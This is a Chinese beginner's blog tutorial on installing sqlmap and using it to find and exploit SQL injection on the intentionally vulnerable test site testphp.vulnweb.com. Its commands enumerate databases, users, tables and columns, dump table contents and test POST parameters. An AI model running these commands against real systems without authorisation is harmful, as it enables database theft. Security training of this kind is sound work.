安装大坑
首先我想说的是目前sqlmap已经支持python2.x/3.x了,所以不必要为了sqlmap单独去配置环境。另外一点,作为初学者,我在使用中遇到了一个我以为是问题的问题,实际上是正常情况。希望后来者看到这篇博客都可以避免在这个问题上浪费时间。
进入正题,当我们正确安装python环境和sqlmap之后,我们肯定就会去尝试打开sqlmap。Win+R打开运行,输入cmd,点击确定我们就可以成功进入dos。
然后我们把目录定位到sqlmap的目录,然后输入python sqlmap.py,回车。然后会惊讶的发现:
提示报错,然后我就去百度了,百度到一堆解决方法,我挨个去试了之后发现并没有什么用,于是我就放弃了。去看了sqlmap的文档,发现原来这样的提示其实表示已经安装运行成功了,因为调用sqlmap其实是需要加后缀参数的,就像这样:
这样就执行成功啦。怪也只怪我太蠢,知乎第一大准则“先问是不是再问为什么”都给忘了。
sql基本操作
-h,–help,-hh:用于获取帮助(小技巧:字母缩写前一个-,完整单词是两个–)
-u “目标URL”:用于判断是否为注入点
实战(test)
GET型注入方式
我们以http://testphp.vulnweb.com/search.php为例,简单地进行一个实战的测试。首先我们输入
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query"
红框部分就是sqlmap分析出的sql注入的类型,那如何读取更多信息呢,我们输入:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --users
红框部分即为我们可以读取的用户的信息。
也可以使用:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --dbs
红框部分即为我们可以读取的数据库列表。
数据库比较多和用户比较多的时候,我们还需要查看当前该用户所在的数据库,我们可以执行:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --current-user --current-db
红框部分即为我们得到的数据库民和用户名。接下来我们读取数据库的表信息:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --tables -D "acuart"
红框处即为我们读取的数据库表的列表。接下来我们读取数据库中具体数据。首先读取数据表中的列信息:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --columns -T "categ" -D "acuart"
红框处即为我们读出的列信息。接下来我们读取具体的表中的数据。首先我们来看一下表中具体有多少条数据:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --count -T "categ" -D "acuart"
红框处显示了表中有四条数据。我们接下来下载表中具体数据:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --dump -T "categ" -D "acuart"
这里既是我们下载到的表内容。如果只想读取其中的部分,我们可以执行:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --dump -T "categ" -D "acuart" --start 2 --stop 3
如果需要下载指定数据库中的所有表,可以执行:
python sqlmap.py -u "http://testphp.vulnweb.com/search.php?test=query" --dump-all -D "acuart"
POST型注入方式
如果我们保存了在抓包软件中抓取的POST型数据,我们则可以执行:
python sqlmap.py -r "E:\WEB安全\工具大全\sqlmap\抓包\post.txt"
或者如果我们找到了POST提交的页面,我们则可以执行:
python sqlmap.py -u "http://testphp.vulnweb.com/userinfo.php" --data="
uname=test&pass=test"
好了,今天的讲解就到这里了,是不是非常的Clever呢?请大家多多指教~~